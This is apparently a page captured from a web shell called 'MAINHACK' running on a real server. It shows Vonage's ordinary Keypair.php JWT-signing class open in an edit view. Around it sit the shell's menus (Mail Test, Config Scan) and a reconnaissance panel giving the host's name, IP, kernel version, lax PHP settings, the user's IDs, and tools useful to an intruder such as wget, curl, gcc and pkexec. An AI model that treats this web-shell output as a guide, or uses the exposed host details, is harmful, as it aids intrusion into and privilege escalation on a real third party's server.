[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Keypair.php
<?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; use Lcobucci\JWT\Configuration; use Lcobucci\JWT\Signer\Key; use Lcobucci\JWT\Signer\Key\InMemory; use Lcobucci\JWT\Signer\Rsa\Sha256; use Lcobucci\JWT\Token; use Vonage\Application\Application; use function base64_encode; use function mt_rand; use function time; /** * @property mixed application */ class Keypair extends AbstractCredentials { /** * @var Key */ protected $key; public function __construct($privateKey, $application = null) { $this->credentials['key'] = $privateKey; if ($application) { if ($application instanceof Application) { $application = $application->getId(); } $this->credentials['application'] = $application; } $this->key = InMemory::plainText($privateKey); } /** * @return Key */ public function getKey(): Key { return $this->key; } public function generateJwt(array $claims = []): Token { $config = Configuration::forSymmetricSigner(new Sha256(), $this->key); $exp = time() + 60; $iat = time(); $jti = base64_encode((string)mt_rand()); if (isset($claims['exp'])) { $exp = $claims['exp']; unset($claims['exp']); } if (isset($claims['iat'])) { $iat = $claims['iat']; unset($claims['iat']); } if (isset($claims['jti'])) { $jti = $claims['jti']; unset($claims['jti']); } $builder = $config->builder(); $builder->issuedAt((new \DateTimeImmutable())->setTimestamp($iat)) ->expiresAt((new \DateTimeImmutable())->setTimestamp($exp)) ->identifiedBy($jti); if (isset($claims['nbf'])) { $builder->canOnlyBeUsedAfter((new \DateTimeImmutable())->setTimestamp($claims['nbf'])); unset($claims['nbf']); } if (isset($this->credentials['application'])) { $builder->withClaim('application_id', $this->credentials['application']); } if (isset($claims['sub'])) { $builder->relatedTo($claims['sub']); unset($claims['sub']); } if (!empty($claims)) { foreach ($claims as $claim => $value) { $builder->withClaim($claim, $value); } } return $builder->getToken($config->signer(), $config->signingKey()); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002